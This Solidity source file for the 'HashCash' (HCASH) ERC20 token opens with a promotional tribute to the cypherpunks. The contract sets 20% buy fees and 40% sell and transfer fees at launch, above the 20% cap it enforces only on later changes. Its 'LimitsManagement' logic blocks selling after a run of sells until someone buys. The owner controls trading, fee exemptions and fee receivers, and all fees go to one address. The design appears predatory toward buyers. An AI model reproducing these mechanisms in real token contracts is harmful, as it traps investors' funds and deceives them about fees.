/*
        Would there be Bitcoin  without the #Cypherpunks?

            Could Satoshi have crafted his masterpiece without the contributions of visionaries like Adam Back with Hashcash, 
            Nick Szabo with Bitgold, Wei-Dei with b-money, David Chaum with eCash, Hal Finney with RPOW, Bram Cohen with Bittorrent, 
            Phil Zimmermann with PGP? These digital luminaries laid the foundation for Bitcoin and sound money. 

            Countless digital innovations blossomed from the efforts of the Cypherpunks. 

        HashCash token $HCASH,  is now live to pay tribute to their invaluable work & support their ideologies. 
        Honoring Adam Black and his work on HashCash POW system that is currently being used to run Bitcoin.
       

        HashCash, The Original Bitcoin        https://www.youtube.com/watch?v=YUTwqG6e8LY

        https://t.me/hashcasherc
        https://twitter.com/hashcash1997

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface stakeIntegration {
    function stakingWithdraw(address depositor, uint256 _amount) external;
    function stakingDeposit(address depositor, uint256 _amount) external;
}

interface tokenStaking {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract hashcash is IERC20, tokenStaking, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'HashCash';
    string private constant _symbol = 'HCASH';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 150 ) / 10000;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) private isFeeExempt;
    IRouter router;
    address public pair;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 200;
    uint256 private developmentFee = 200;
    uint256 private stakingFee = 0;
    uint256 private tokenFee = 0;
    uint256 private totalFee = 2000;
    uint256 private sellFee = 4000;
    uint256 private transferFee = 4000;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private tradingAllowed = false;
    bool public LimitsManagement = true;
    uint256 public LimitsManagementSells;
    uint256 public LimitsManagementTrigger = 3;
    bool public LimitsManagementBuyNeeded = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 private swapAmount = 3;
    uint256 private swapThreshold = ( _totalSupply * 500 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    uint256 public LimitsManagementMinAmount = 1;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    mapping(address => uint256) public amountStaked;
    uint256 public totalStaked;
    stakeIntegration internal stakingContract;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x2753B1Af7F11cF1A6999F11541FAA2BE138133Cc; 
    address internal marketing_receiver = 0x2753B1Af7F11cF1A6999F11541FAA2BE138133Cc;
    address internal liquidity_receiver = 0x2753B1Af7F11cF1A6999F11541FAA2BE138133Cc;
    address internal staking_receiver = 0x2753B1Af7F11cF1A6999F11541FAA2BE138133Cc;
    address internal token_receiver = 0x000000000000000000000000000000000000dEaD;
    
    event Deposit(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
    event Withdraw(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
    event SetStakingAddress(address indexed stakingAddress, uint256 indexed timestamp);
    event TradingEnabled(address indexed account, uint256 indexed timestamp);
    event ExcludeFromFees(address indexed account, bool indexed isExcluded, uint256 indexed timestamp);
    event SetDividendExempt(address indexed account, bool indexed isExempt, uint256 indexed timestamp);
    event Launch(uint256 indexed whitelistTime, bool indexed whitelistAllowed, uint256 indexed timestamp);
    event SetInternalAddresses(address indexed marketing, address indexed liquidity, address indexed development, uint256 timestamp);
    event SetSwapBackSettings(uint256 indexed swapAmount, uint256 indexed swapThreshold, uint256 indexed swapMinAmount, uint256 timestamp);
    event SetDistributionCriteria(uint256 indexed minPeriod, uint256 indexed minDistribution, uint256 indexed distributorGas, uint256 timestamp);
    event SetParameters(uint256 indexed maxTxAmount, uint256 indexed maxWalletToken, uint256 indexed maxTransfer, uint256 timestamp);
    event SetStructure(uint256 indexed total, uint256 indexed sell, uint256 transfer, uint256 indexed timestamp);
    event CreateLiquidity(uint256 indexed tokenAmount, uint256 indexed ETHAmount, address indexed wallet, uint256 timestamp);

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[address(DEAD)] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function availableBalance(address wallet) public view returns (uint256) {return _balances[wallet].sub(amountStaked[wallet]);}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"ERC20: below available balance threshold");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkTxLimit(sender, recipient, amount);
        checkMaxWallet(sender, recipient, amount);
        checkLimitsManagement(sender, recipient, amount);
        swapbackCounters(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function deposit(uint256 amount) override external {
        require(amount <= _balances[msg.sender].sub(amountStaked[msg.sender]), "ERC20: Cannot stake more than available balance");
        stakingContract.stakingDeposit(msg.sender, amount);
        amountStaked[msg.sender] = amountStaked[msg.sender].add(amount);
        totalStaked = totalStaked.add(amount);
        emit Deposit(msg.sender, amount, block.timestamp);
    }

    function withdraw(uint256 amount) override external {
        require(amount <= amountStaked[msg.sender], "ERC20: Cannot unstake more than amount staked");
        stakingContract.stakingWithdraw(msg.sender, amount);
        amountStaked[msg.sender] = amountStaked[msg.sender].sub(amount);
        totalStaked = totalStaked.sub(amount);
        emit Withdraw(msg.sender, amount, block.timestamp);
    }

    function setStakingAddress(address _staking) external onlyOwner {
        stakingContract = stakeIntegration(_staking); isFeeExempt[_staking] = true;
        emit SetStakingAddress(_staking, block.timestamp);
    }

    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _token, uint256 _development, uint256 _staking, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; tokenFee = _token; stakingFee = _staking;
        developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "ERC20: fees cannot be more than 20%");
        emit SetStructure(_total, _sell, _trans, block.timestamp);
    }

    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply().mul(_buy)).div(uint256(10000)); uint256 newTransfer = (totalSupply().mul(_trans)).div(uint256(10000));
        uint256 newWallet = (totalSupply().mul(_wallet)).div(uint256(10000)); uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "ERC20: max TXs and max Wallet cannot be less than .5%");
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        emit SetParameters(newTx, newWallet, newTransfer, block.timestamp);
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "ERC20: Trading is not allowed");}
    }

    function checkLimitsManagement(address sender, address recipient, uint256 amount) internal {
        if(LimitsManagement && !swapping){ 
        if(recipient == pair && !isFeeExempt[sender]){LimitsManagementSells = LimitsManagementSells.add(uint256(1));}
        if(sender == pair && !isFeeExempt[recipient] && amount >= LimitsManagementMinAmount){LimitsManagementSells = uint256(0);}
        if(LimitsManagementSells > LimitsManagementTrigger){LimitsManagementBuyNeeded = true;}
        if(LimitsManagementBuyNeeded && !isFeeExempt[recipient] && !isFeeExempt[sender]){
            require(sender == pair, "ERC20: LimitsManagement purchase required"); if(amount >= LimitsManagementMinAmount){LimitsManagementSells = uint256(0); LimitsManagementBuyNeeded = false;}}}
    }

    function setLimitsManagement(bool enabled, uint256 trigger, uint256 minAmount) external onlyOwner {
        LimitsManagement = enabled; LimitsManagementTrigger = trigger; LimitsManagementMinAmount = minAmount;
    }

    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "ERC20: exceeds maximum wallet amount.");}
    }

    function swapbackCounters(address sender, address recipient, uint256 amount) internal {
        if(recipient == pair && !isFeeExempt[sender] && amount >= minTokenAmount){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(amountStaked[sender] > uint256(0)){require((amount.add(amountStaked[sender])) <= _balances[sender], "ERC20: exceeds maximum allowed not currently staked.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "ERC20: tx limit exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "ERC20: tx limit exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee).add(stakingFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith, liquidity_receiver); }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmount > 0){payable(marketing_receiver).transfer(marketingAmount);}
        uint256 stakingAmount = unitBalance.mul(2).mul(stakingFee);
        if(stakingAmount > 0){payable(staking_receiver).transfer(stakingAmount);}
        if(address(this).balance > uint256(0)){payable(development_receiver).transfer(address(this).balance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount, address receiver) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            address(receiver),
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] 
            && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if(shouldSwapBack(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }
    
    function startTrading() external onlyOwner {
        tradingAllowed = true;
        emit TradingEnabled(msg.sender, block.timestamp);
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development, address _staking, address _token) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development; staking_receiver = _staking; token_receiver = _token;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_staking] = true; isFeeExempt[_token] = true;
        emit SetInternalAddresses(_marketing, _liquidity, _development, block.timestamp);
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
        emit ExcludeFromFees(_address, _enabled, block.timestamp);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
        emit SetSwapBackSettings(_swapAmount, _swapThreshold, _minTokenAmount, block.timestamp);  
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(tokenFee > uint256(0)){_transfer(address(this), address(token_receiver), amount.div(denominator).mul(tokenFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}